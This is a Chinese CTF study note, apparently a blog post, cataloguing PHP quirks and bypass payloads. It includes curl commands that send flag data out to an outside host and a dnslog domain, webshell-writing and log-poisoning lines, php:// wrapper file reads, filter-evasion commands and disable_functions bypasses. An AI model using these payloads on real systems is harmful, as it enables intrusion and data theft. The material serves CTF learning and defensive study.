2903 字
15 分钟
PHP特性

整理自CTF题目实战,涵盖PHP安全特性、绕过技巧与常见利用方式


目录#

  1. 类型转换与弱比较

  2. 正则与字符串函数

  3. MD5/SHA相关

  4. PHP伪协议

  5. 变量覆盖与解析

  6. PHP内置类利用

  7. 命令执行绕过

  8. 反序列化漏洞

  9. 代码执行函数

  10. 文件操作相关

  11. GPC与特殊字符处理

  12. 配置与安全限制绕过

  13. 数字与精度问题

  14. 其他函数特性

  15. PHP版本差异


一、类型转换与弱比较#

1.1 intval() 特性#

intval(数组); // 空数组返回0,非空数组返回1
intval(对象); // 产生错误
intval("4476a"); // 返回4476
intval("a4476"); // 返回0
intval($num, 0); // 第二参数为0时自动识别进制

绕过技巧:

  • 传入数组:?num[]=1 (preg_match对数组返回false)

  • 进制绕过:

  • 小数绕过:4476.1 经过intval后为4476

  • 正负号:+010574

1.2 弱类型比较表#

比较结果原因
"4476a" == 4476true字符串转数字
"a4476" == 0true非数字开头转为0
"0e12345" == 0true科学计数法解析为0
"0e12345" == "0e67890"true都解析为0
null == 0truenull转数字为0
null == falsetrue都转为false
"" == 0true空字符串转数字为0
"123" == 123true字符串转数字
array() == falsetrue空数组为false
array(1) == truetrue非空数组为true

1.3 强类型比较 ===#

"4476" === 4476 // false (类型不同)
"0e123" === "0e456" // false (字符串比较)

绕过方式:

  • 数组绕过:md5([]) 返回 null,null === null

  • MD5碰撞:不同内容产生相同hash

1.4 is_numeric() 特性#

is_numeric("4476"); // true
is_numeric(" 4476"); // true (前导空白)
is_numeric("4476.1"); // true (小数)
is_numeric("4.476e3"); // true (科学计数法)
is_numeric("+4476"); // true
is_numeric("-4476"); // true
is_numeric("0x117C"); // PHP5 true, PHP7 false
is_numeric("\x0C4476"); // true (换页符+数字)

绕过技巧:

  • 利用空白字符:%0C36 (换页符+数字)

  • 十六进制(PHP5):0x36

1.5 字符串数字比较#

"admin" == 0 // true
"1admin" == 1 // true
"admin1" == 0 // true
"1e1" == 10 // true
"0x10" == 16 // PHP5 true, PHP7 false

二、正则与字符串函数#

2.1 preg_match 数组绕过#

preg_match('/[0-9]/', $_GET['num']); // 传入数组返回false
// ?num[]=1

2.2 ereg %00截断#

ereg("^[a-zA-Z]+$", $str); // PHP5.3弃用,PHP7移除
// %00会导致ereg返回false
// ?c=a%00778

2.3 正则修饰符#

修饰符作用
/i不区分大小写
/m多行模式,^$匹配每行开头结尾
/s.匹配包括换行符
/ePHP5中执行代码(危险)
// 多行模式绕过
preg_match('/^php$/im', $str); // 要求某一行等于php
preg_match('/^php$/i', $str); // 要求整个字符串等于php
// ?cmd=php%0a1 第一行是php

2.4 PCRE回溯深度限制#

preg_match('/.+?ctfshow/is', $f);
// PCRE默认回溯深度100万次,超出返回false
// payload:
str_repeat('very', 250000).'36Dctfshow';

2.5 strpos/stripos 数组绕过#

strpos("ctfshow", $f); // 传入数组返回null
stripos($f, 'ctfshow') === false; // 数组绕过
// ?f[]=1

2.6 in_array 弱类型#

in_array("4476a", [4476]); // true (弱比较)
in_array("4476a", [4476], true); // false (强比较)

2.7 strcmp 数组绕过#

strcmp($a, $b); // 传入数组返回null
// null != 0 为 true
// ?a[]=1

2.8 switch-case 弱类型#

switch($a) {
case "admin": ...
}
// $a = 0 时匹配 "admin" (0 == "admin")

三、MD5/SHA相关#

3.1 MD5数组绕过#

md5($a) === md5($b);
// ?a[]=1&b[]=2 数组返回null,null===null

3.2 魔术Hash#

Hash值MD5
QNKCDZO0e830400451993494058024219903391弱比较为true
s878926199a0e545993274517709034328855841020弱比较为true
s155964671a0e342768416822451524974117254469弱比较为true
s214587387a0e848240448830537924465865611904弱比较为true

SHA1魔术值:

  • aaroZmOk

  • aaK1STfY

  • aaO8zKZF

  • aa3OFF9m

3.3 MD5碰撞#

不同内容产生相同MD5值:

content1 = "aaO8zKZF"
content2 = "aaK1STfY"
// 这两个字符串MD5相同(需要完整文件内容)

3.4 sha1 数组绕过#

sha1($a) === sha1($b);
// ?a[]=1&b[]=2 数组返回false

3.5 hash_equals#

hash_equals($a, $b); // 时间安全的字符串比较
// 无法用数组绕过,PHP7+会警告

四、PHP伪协议#

4.1 php://filter#

// Base64读取
php://filter/read=convert.base64-encode/resource=flag.php
// rot13读取
php://filter/read=string.rot13/resource=flag.php
// 字符串转换链
php://filter/convert.iconv.UTF-8.UTF-16LE/resource=flag.php
// zlib压缩
php://filter/zlib.deflate|zlib.inflate/resource=flag.php
// 写入(PHP5)
php://filter/write=string.rot13/resource=shell.php

4.2 php://input#

// 读取POST原始数据
file_get_contents('php://input');
// 配合文件包含执行代码
include('php://input');
// POST: <?php system('ls');

4.3 data://#

data://text/plain,<?php system('ls');
data://text/plain;base64,PD9waHAgc3lzdGVtKCdscycpOw==

4.4 compress.zlib://#

compress.zlib://flag.php
compress.bzip2://flag.php

4.5 phar://#

// 触发反序列化
phar://shell.phar
// 配合文件操作函数:file_exists, fopen, file_get_contents等

4.6 is_file 绕过#

// 超长路径绕过
/proc/self/root/proc/self/root/.../proc/self/root/var/www/html/flag.php
// 伪协议绕过
php://filter/resource=flag.php // 返回false但能读取

五、变量覆盖与解析#

5.1 $$变量覆盖#

$a = "flag";
$$a = "ctfshow";
// $flag = "ctfshow"
// 利用场景
foreach($_GET as $key => $value) {
$$key = $$value;
}
// ?suces=flag&error=suces
// $suces = $flag, $error = $suces = $flag

5.2 extract()#

extract($_GET);
// ?a=1 -> $a = 1
// 可覆盖已有变量

5.3 parse_str()#

parse_str("a=1&b=2", $arr);
// $arr = ['a' => 1, 'b' => 2]
parse_str("a=1&b=2"); // 不传第二个参数,直接创建变量
// $a = 1, $b = 2

5.4 变量名解析规则#

PHP会将以下字符转为下划线:
- 空格
- .
- [
特殊情况:[ 后的内容会被保留
# 示例
CTF_SHOW.COM -> CTF_SHOW_COM (正常)
CTF[SHOW.COM -> CTF_SHOW.COM ([ 转为_,后面的.保留)

5.5 $_SERVER[‘QUERY_STRING’]#

$_SERVER['QUERY_STRING'] // 原始查询字符串,不经过URL解码
// 可用于绕过对下划线的过滤
// ?ctf show=flag 原始字符串中的空格不会被转为_

5.6 $_SERVER[‘argv’]#

// register_argc_argv = On 时
// ?a=1&b=2
// $argv[0] = "a=1&b=2"
// 可用于变量覆盖

六、PHP内置类利用#

6.1 反射类#

// 查看类结构(包括私有属性)
new ReflectionClass('ClassName');
print new ReflectionClass('ClassName');
// 查看常量和默认属性
ReflectionClass::getConstants();
ReflectionClass::getDefaultProperties();

6.2 文件操作类#

可配合伪协议

// 目录迭代
new DirectoryIterator('/var/www/html');
new FilesystemIterator('/var/www/html');
new GlobIterator('/var/www/html/*.php');
// 文件读取
new SplFileObject('/flag');
new SplFileInfo('/flag');
// 配合无参数函数
new FilesystemIterator(getcwd());

6.3 异常类#

// __toString 泄露信息
echo new Exception($可控内容);

6.4 XML相关类(XXE)#

默认不加载外部实体

new SimpleXMLElement($xml);
new DOMDocument();
// 可用于XXE攻击

6.5 其他可用类#

// ArrayObject - 数组转对象
// ArrayIterator - 数组迭代
// PDO - 数据库连接
// SoapClient - SSRF

七、命令执行绕过#

7.1 常见执行函数#

system($cmd); // 直接输出
exec($cmd); // 返回最后一行
shell_exec($cmd); // 返回完整输出
passthru($cmd); // 直接输出二进制
`$cmd`; // 反引号执行
pcntl_exec($cmd); // PCNTL扩展
popen($cmd, 'r'); // 打开进程管道
proc_open(); // 更强大的管道

7.2 无回显处理#

// 写入文件
system('cat flag > 1.txt');
system('cat flag | tee 1.txt');
// DNS外带
system('curl `cat flag`.dnslog.cn');
// HTTP外带
system('curl http://vps.com?data=$(cat flag|base64)');

7.3 长度限制绕过#

// substr截断
eval(substr($cmd, 0, 6));
// 使用短命令:ls, cat, nl等
// 写入文件再执行
echo '<?php system($_GET[1]);' > a.php

7.4 字符限制绕过#

// 无字母数字webshell
// 使用异或、取反、自增等
$_ = '!@#$%^&*()_+' ^ '...';
$__($_);

7.5 命令连接符#

a; b # 顺序执行
a && b # a成功后执行b
a || b # a失败后执行b
a | b # a的输出作为b的输入
a & b # 后台执行
`a` # 命令替换
$(a) # 命令替换

7.6 过滤绕过#

# 空格绕过
cat<flag
cat${IFS}flag
cat$IFS$9flag
{cat,flag}
cat%09flag # TAB
# 关键字绕过
c''at flag # 空字符串
c""at flag
c\at flag # 转义
ca\t flag
c$@at flag
`echo Y2F0 | base64 -d` flag # 编码
# 通配符
cat /f??g
cat /f*
cat /f[l]ag
cat /f{a,b,c}ag

八、反序列化漏洞#

8.1 魔术方法#

__construct() // 对象创建时
__destruct() // 对象销毁时
__wakeup() // 反序列化时调用
__sleep() // 序列化时调用
__toString() // 对象转字符串时
__call() // 调用不存在方法时
__get() // 访问不存在属性时
__set() // 设置不存在属性时
__invoke() // 对象作为函数调用时
__clone() // 克隆对象时

8.2 __wakeup绕过 (CVE-2016-7124)#

// PHP5 < 5.6.25, PHP7 < 7.0.10
// 当序列化字符串中属性个数大于实际个数时,跳过__wakeup
O:4:"Test":1:{s:1:"a";s:1:"b";}
// 改为
O:4:"Test":2:{s:1:"a";s:1:"b";}

8.3 POP链构造#

// 典型POP链
Class A {
function __destruct() {
$this->b->action();
}
}
Class B {
function action() {
eval($this->cmd);
}
}
// 构造链:A::__destruct -> B::action -> eval

8.4 Phar反序列化#

// 触发函数
file_exists('phar://shell.phar');
is_file('phar://shell.phar');
file_get_contents('phar://shell.phar');
fopen('phar://shell.phar', 'r');
// 等
// 生成phar文件
$phar = new Phar('shell.phar');
$phar->setStub('<?php __HALT_COMPILER(); ?>');
$phar->setMetadata($obj); // 序列化对象

8.5 Session反序列化#

// 不同处理器格式不同
php | name|s:4:"test";
php_binary | names:4:"test";
php_serialize| a:1:{s:4:"name";s:4:"test";}
// 处理器不一致导致注入
ini_set('session.serialize_handler', 'php_serialize');

九、代码执行函数#

9.1 eval/assert#

eval($code); // 执行PHP代码,需要分号结尾
assert($code); // PHP7前可执行代码,PHP7后变为表达式
// PHP7: assert('system("ls")');
// PHP5: assert(system('ls'));

9.2 create_function (PHP7.2废弃)#

$func = create_function('', 'system("ls");');
$func();
// 可注入代码
$func = create_function('', '}system("ls");//');

9.3 preg_replace /e (PHP5)#

preg_replace('/.*/e', 'system("ls")', 'test');
// /e修饰符会执行替换后的代码

9.4 可变函数#

$a = 'system';
$a('ls'); // 执行 system('ls')
$a = 'assert';
$a('system("ls")');

9.5 call_user_func#

call_user_func('system', 'ls');
call_user_func('assert', 'system("ls")');
// 调用类方法
call_user_func(['ClassName', 'staticMethod']);
call_user_func([$obj, 'method']);

9.6 array_map/array_filter等#

array_map('system', ['ls', 'whoami']);
array_filter(['ls', 'whoami'], 'system');
usort($arr, 'system');
uasort($arr, 'system');
uksort($arr, 'system');

9.7 无参数RCE#

// 无参数函数执行
print_r(scandir(getcwd()));
print_r(scandir(dirname(getcwd())));
print_r(scandir('/'));
// 结合内置类
new FilesystemIterator(getcwd());
new DirectoryIterator(getcwd());

十、文件操作相关#

10.1 文件读取函数#

file_get_contents($file);
file($file);
fread(fopen($file, 'r'), 1000);
readfile($file);
highlight_file($file);
show_source($file);
include($file);
require($file);
SplFileObject($file);

10.2 文件写入函数#

file_put_contents($file, $content);
fwrite(fopen($file, 'w'), $content);
move_uploaded_file($src, $dst);
copy($src, $dst);
rename($src, $dst);

10.3 临时文件#

// 上传临时文件
$_FILES['file']['tmp_name'] // /tmp/phpXXXXXX
// 创建临时文件
$temp = tmpfile();
$temp = tempnam('/tmp', 'php');

10.4 .htaccess利用#

# 添加解析类型
AddType application/x-httpd-php .jpg
# 设置解析引擎
php_flag engine off # 关闭PHP解析
# auto_prepend_file
php_value auto_prepend_file "/flag"

10.5 条件竞争#

// 文件存在检查与删除之间存在间隙
if(file_exists($file)) {
// 时间差
unlink($file);
}
// 可在此间隙执行恶意代码

十一、GPC与特殊字符处理#

11.1 魔术引号 (PHP5.4废弃)#

// magic_quotes_gpc = On
// 自动转义 ' " \ NULL
// 可用stripslashes()还原

11.2 URL编码#

$_GET/$_REQUEST 会自动URL解码
$_SERVER['QUERY_STRING'] 不会解码

11.3 特殊字符#

%00 // 空字节,截断字符串(PHP5)
%0a // 换行符
%0d // 回车符
%0c // 换页符
%09 // TAB
%20 // 空格

11.4 二次编码#

urlencode(urlencode($str));
// 某些场景会解码两次

十二、配置与安全限制绕过#

12.1 disable_functions绕过#

// LD_PRELOAD
putenv("LD_PRELOAD=/tmp/evil.so");
mail("", "", "", "");
// PHP扩展
// 使用未被禁用的函数:mb_send_mail, imap_open等
// FastCGI
// 利用PHP-FPM
// COM组件(Windows)
$w = new COM('WScript.shell');
$w->exec('cmd');
// pcntl_exec(如果未禁用)
pcntl_exec('/bin/sh', ['-c', 'id']);

12.2 open_basedir绕过#

// symlink
symlink("file", "link");
// glob://
glob("glob:///flag*");
// ini_set (某些版本)
ini_set("open_basedir", "/");
// bindtextdomain
bindtextdomain("evil", "/flag");

12.3 Session利用#

// Session文件包含
include('/tmp/sess_'.session_id());
// Session控制
session_start();
$_SESSION['cmd'] = '<?php system($_GET[1]);';

12.4 日志包含#

// 包含日志文件
include('/var/log/apache2/access.log');
include('/var/log/nginx/access.log');
// User-Agent注入PHP代码
User-Agent: <?php system($_GET[1]);?>

十三、数字与精度问题#

13.1 浮点数精度#

0.1 + 0.2 == 0.3 // false
0.1 + 0.2 === 0.3 // false
// 比较问题
$a = 0.1 + 0.2;
abs($a - 0.3) < 0.0001; // 正确比较方式

13.2 科学计数法#

1e1 == 10 // true
1e309 == INF // true (超出范围)
"1e1" == 10 // true (字符串弱比较)

13.3 整数溢出#

PHP_INT_MAX // 64位: 9223372036854775807
// 超出后转为浮点数

13.4 十六进制字符串#

// PHP5
"0x10" == 16 // true
is_numeric("0x10") // true
// PHP7
"0x10" == 16 // false (字符串比较)
is_numeric("0x10") // false

十四、其他函数特性#

14.1 array相关#

// 数组key转换
$arr['1'] // 字符串'1'会转为整数1
// 数组比较
[1,2] == [1] // false (长度不同)
['a'=>1] == [] // false
['a'=>1] == ['a'=>'1'] // true (弱比较)

14.2 json_decode#

// JSON要求UTF-8编码
// 大整数可能丢失精度
json_decode('{"num":9223372036854775808}');
// 转为浮点数

14.3 unserialize#

// 可注入对象
// 格式:O:类名长度:"类名":属性数:{属性}
O:4:"Test":1:{s:1:"a";s:1:"b";}
// 私有属性
O:4:"Test":1:{s:7:"\x00Test\x00a";s:1:"b";}
// \x00类名\x00属性名
// 保护属性
O:4:"Test":1:{s:4:"\x00*\x00a";s:1:"b";}

14.4 basename#

// 对非ASCII字符处理问题
basename("/var/www/html/测试.php"); // 可能丢失文件名
basename("/var/www/html/test.php"); // test.php

14.5 trim行为#

// 默认删除这些字符
" " (空格)
"\t" (制表符)
"\n" (换行)
"\r" (回车)
"\0" (空字节)
"\v" (垂直制表符)
"\x0B" (垂直制表符)
// 不删除 \f (换页符)

14.6 chr/ord#

chr(65) // 'A'
ord('A') // 65
// 可用于构造字符串
chr(115).chr(121).chr(115).chr(116).chr(101).chr(109); // "system"

十五、PHP版本差异#

15.1 PHP5 vs PHP7#

特性PHP5PHP7
assert()可执行代码仅表达式
create_function()可用7.2废弃
mysql_*函数可用移除
ereg函数可用移除
/e修饰符可用移除
十六进制字符串弱比较支持弱比较不支持
__wakeup绕过CVE存在已修复
$HTTP_RAW_POST_DATA可用移除

15.2 PHP8新特性#

// 命名参数
// 注解
// 联合类型
// match表达式
// Nullsafe运算符 ?->
// str_contains/str_starts_with/str_ends_with

附录:常用Payload速查#

数组绕过#

?num[]=1
?a[]=1&b[]=2

弱比较绕过#

?num=4476a
?num=0x117C
?num=010574

MD5/SHA绕过#

?a[]=1&b[]=2
?a=QNKCDZO&b=240610708

伪协议#

php://filter/read=convert.base64-encode/resource=flag.php
php://input
data://text/plain,<?php system('ls');
phar://shell.phar

变量覆盖#

?_POST[key]=value
?suces=flag&error=suces

命令执行#

| cat flag
; cat flag
`cat flag`
$(cat flag)

文件读取#

?file=php://filter/resource=flag.php
?file=/proc/self/root/.../flag.php

PHP特性
https://lab404.cn/posts/php-features/
作者
见山
发布于
2026-03-22
许可协议
CC BY-NC-SA 4.0